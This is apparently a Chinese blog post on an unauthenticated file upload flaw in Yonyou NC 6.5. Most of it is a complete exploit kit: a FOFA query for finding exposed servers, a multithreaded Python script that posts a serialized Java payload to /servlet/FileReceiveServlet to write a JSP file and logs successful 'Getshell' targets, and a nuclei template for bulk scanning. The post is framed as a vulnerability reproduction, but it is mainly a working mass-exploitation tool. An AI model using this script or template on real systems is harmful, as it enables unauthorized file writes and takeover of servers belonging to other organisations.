首页 > 其他分享 >用友NC 6.5未授权文件上传漏洞

用友NC 6.5未授权文件上传漏洞

时间:2023-09-07 15:44:25浏览次数:33  
标签:x61 url x74 NC 用友 6.5 file x00

漏洞描述

用友NC6.5版本存在未授权文件上传漏洞,攻击者可以未授权上传任意文件,进而获取服务器控制权限。

影响版本

NC 6.5

漏洞复现

fofa语法:app="用友-UFIDA-NC"
访问页面

POC脚本如下:

import requests
import threadpool
import urllib3
import sys
import argparse

urllib3.disable_warnings()
proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'}
header = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded",
    "Referer": "https://google.com",
}

def multithreading(funcname, filename="url.txt", pools=5):
    works = []
    with open(filename, "r") as f:
        for i in f:
            func_params = [i.rstrip("\n")]
            works.append((func_params, None))
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(funcname, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()

def wirte_targets(vurl, filename):
    with open(filename, "a+") as f:
        f.write(vurl + "\n")
        return vurl
    
def exp(u):
    uploadHeader = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
        "Content-Type": "multipart/form-data;",
        "Referer": "https://google.com"
    }
    uploadData = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78"
    shellFlag="t0test0ls"
    uploadData+=shellFlag
    try:
        req1 = requests.post(u + "/servlet/FileReceiveServlet", headers=uploadHeader, verify=False, data=uploadData, timeout=25)
        if req1.status_code == 200 :
            req3=requests.get(u+"/t00ls.jsp",headers=header, verify=False, timeout=25)

            if  req3.text.index(shellFlag)>=0:
                printFlag = "[Getshell]" + u+"/t00ls.jsp"  + "\n"
                print (printFlag)
                wirte_targets(printFlag, "vuln.txt")
    except :
        pass
    #print(printFlag, end="")


if __name__ == "__main__":
    if (len(sys.argv)) < 2:
        print('useage : python' +str(sys.argv[0]) + ' -h')
    else:
        parser =argparse.ArgumentParser()
        parser.description ='YONYOU UC 6.5 FILE UPLOAD!'
        parser.add_argument('-u',help="url -> example [url]http://127.0.0.1[/url]",type=str,dest='check_url')
        parser.add_argument('-r',help="url list to file",type=str,dest='check_file')
        args =parser.parse_args()
        if args.check_url:
            exp(args.check_url)
        
        if(args.check_file):
            multithreading(exp, args.check_file, 8)

运行脚本:python poc.py -u http://IP:PORT

nuclei批量yaml文件

id: yonyou_NC_servlet_upload_t00ls_rce

info:
  name: yonyou_NC_servletupload_t00ls_rce
  author: bjxsec
  severity: high
  tags: yonyou,oa,bjxsec,yonyouoa
  description: fofa   app="用友-UFIDA-NC" "/platform/yonyou-yyy.js"
variables:
  file_name: "{{to_lower(rand_text_alpha(8))}}.jsp"
  file_content: "{{to_lower(rand_text_alpha(26))}}"
requests:
  - raw:
      - |
        POST /servlet/FileReceiveServlet HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
        Content-Type: multipart/form-data;
        Referer: https://google.com

        {{hex_decode("ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C7708000000100000000274000946494C455F4E414D45740009")}}t00ls.jsp{{hex_decode("7400105441524745545F46494C455F504154487400102E2F776562617070732F6E635F77656278")}}{{file_content}}
      - |
        GET /t00ls.jsp HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "contains(body_2, '{{file_content}}')"
          - "status_code_1 == 200 && status_code_2 == 200"
        condition: and

标签:x61,url,x74,NC,用友,6.5,file,x00
From: https://www.cnblogs.com/pursue-security/p/17685120.html

相关文章

  • map、sync.map、concurrent-map适用场景与源码解析
    最近一直加班,无论工作日还是周末,虽然每天很忙但总感觉空空的,很少有时间停下来思考与总结。项目中各种甩锅,最后最苦逼的还是落到了研发的头上,文档编写、环境部署、问题排查虐得一遍又一遍。事情杂乱,研发效率超级低,不知道何是是个头呀背景在go中,map是最常用的集合之一。其底层key存......
  • 【错误记录】Android Studio 创建 Module 模块报错 ( Cannot resolve external depend
    文章目录一、报错信息二、解决方案目前使用的是最新的Gradle配置,创建Module生成的源码与Gradle配置出现了冲突,导致的问题;解决此类问题,要仔细检查Gradle构建脚本,排查每个依赖库的来源;本次错误就是AS系统自动成的Module修改了Gradle构建脚本,导......
  • 用友GRP-U8 Proxy SQL注入 CNNVD-201610-923
    漏洞描述用友GRP-u8存在XXE漏洞,该漏洞源于应用程序解析XML输入时没有进制外部实体的加载,导致可加载外部SQL语句,以及命令执行影响版本用友GRP-U8行政事业内控管理软件(新政府会计制度专版)漏洞复现fofa语法:title="用友GRP-U8行政事业内控管理软件"登录页面:POC:POST/ProxyHT......
  • 软件测试|DISTINCT关键字应该怎么用?
    探索SQL中的DISTINCT关键字DISTINCT简介在SQL(StructuredQueryLanguage)中,DISTINCT关键字是一个强大的工具,用于查询去重。它允许我们从数据库中获取唯一(不重复)的记录,而不考虑其他列的值。本文将深入探讨SQL中的DISTINCT关键字,包括其语法、用途和示例。DISTINCT语法DISTINCT关......
  • 用友畅捷通T+ Upload.aspx任意文件上传漏洞CNVD-2022-60632
    漏洞描述用友畅捷通T+Upload.aspx接口存在任意文件上传漏洞,攻击者通过preload参数绕过身份验证进行文件上传,控制服务器漏洞影响用友畅捷通T+漏洞复现fofa语法:app="畅捷通-TPlus"登录页面如下:上传文件类型验证不完善,可上传任意文件到服务器中的任意位置,验证POCPOST/......
  • 用友时空KSOA imagefield SQL注入
    漏洞简介用友时空KSOA平台/servlet/imagefield存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。漏洞复现fofa查询:app="用友-时空KSOA"登录页面如下:POC:GET/servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1'+......
  • 杰哥教你面试之一百问系列:java中高级多线程concurrent的使用
    目录问题1:什么是ConcurrentHashMap?它与HashMap的区别是什么?问题2:什么是CopyOnWriteArrayList?它适用于什么样的场景?问题3:什么是BlockingQueue?它的作用是什么?举例说明一个使用场景。问题4:什么是Semaphore?它如何控制并发访问?问题5:什么是CountDownLatch?它适用于什么场景?问题6:什么是Cyc......
  • 用友畅捷通T+ DownloadProxy.aspx 任意文件读取漏洞
    漏洞描述用友畅捷通T+DownloadProxy.aspx文件存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器上的敏感文件漏洞复现fofa语法:app="畅捷通-TPlus"登录页面如下POC:/tplus/SM/DTS/DownloadProxy.aspx?preload=1&Path=../../Web.Confignuclei批量yaml文件id:yonyou_cha......
  • cv2.error: Unknown C++ exception from OpenCV code.报错解决
    问题原因:opencv版本太高,python版本太低解决办法:打开opencv下载网站找到自己的python版本对应的opencv的版本,然后通过下面代码安装pipinstallopencv-python==4.1.2.30-ihttps://pypi.tuna.tsinghua.edu.cn/simple ......
  • 使用注解实现applicationContext.xml中的内容
    2023-09-07packagecom.hh.config;importorg.springframework.context.annotation.ComponentScan;importorg.springframework.context.annotation.Configuration;/***@authorhh*@version1.0*@DATE2023-09-0712:14:10*/@Configuration@ComponentScan......